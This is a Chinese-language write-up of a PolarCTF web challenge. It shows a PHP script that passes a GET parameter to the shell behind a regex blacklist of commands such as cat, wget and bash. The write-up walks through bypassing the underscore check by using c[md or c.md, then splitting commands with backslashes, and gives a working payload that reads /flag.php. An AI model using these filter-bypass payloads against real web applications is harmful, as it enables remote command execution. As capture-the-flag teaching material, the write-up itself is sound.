【PolarCTF】rapyiquan

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];
# strpos(原始字符串, 要查找的字符, [开始查找的位置])
# 表示需要匹配到_
function checkUrlParams($params) {
        if (strpos($params, '_') !== false) {
            return false;
        }
    return true;
}

if(checkUrlParams($url)){
    $cmd=$_GET['c_md'];
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

首先我们需要绕过checkUrlParams()函数,就是我们的url中不能出现_

但是GET用来传递的参数又是c_md那么我们就要想办法绕过

参数_符号的替代

我们可以使用下面3种情况来进行代替

复制代码
?c.md=whoami
?c[md=whoami
?c%20md=whoami

因为空格(%20)、点号、左方括号,在 PHP 解析 GET/POST 参数名时,会被自动换成下划线 _

使用\拆分命令绕过正则

接下来就是绕过正则表达式

复制代码
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

这里我们可以使用\拆分技巧

在linux中有一个规则:

反斜杠 \ + 普通字符 = 普通字符

那么就是说

复制代码
c\at → cat
ca\t → cat
c\a\t → cat

但是这里有一个疑问,明明正则表达式是会过滤\为什么没有拦截

重点看这里

复制代码
\\|\\\\|

这行在 PHP 里最终解析成:

只匹配:一个反斜杠 \

而我们传入的是

复制代码
ca\t

这里的 \t 是 两个字符:\ + t

而不是单个\,因此绕过了正则表达式

通过下面的演示图就可以明显看到,正则表达式会把\s看成一起的从而绕过了正则表达式,但是在linux中又是支持\的写法的

然后我们直接读取/flag.php里面的内容

复制代码
?c[md=ca\t%20/f\lag.php

flag在网页源代码中

或者使用tac命令也是可以的,flag会直接出现在网页上

疑问:为什么tac会直接输出flag到网页上

相关推荐
sbjdhjd1 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_11222 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub2 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
菩提小狗2 天前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录2 天前
SRC 挖洞:TanStack Start 服务器函数 XSS 深度复盘,CVE-2026-102989 怎么窃取用户会话
运维·服务器·网络安全·xss
中原第一高手2 天前
fofatoto 1.8.0 发布:启动即知新版本、中文进度面板与更干净的 Web 日志
python·网络安全·开源·资产测绘·fofa
Bruce_Liuxiaowei2 天前
2026年10月第2周网络安全形势周报
网络安全
黄金龙PLUS3 天前
如何基于置换算法来设计对称加密算法
算法·网络安全·密码学·哈希算法·同态加密
王大傻09283 天前
堆叠注入(Stacked Queries Injection)详解:原理、利用与防御
服务器·网络·数据库·web安全·网络安全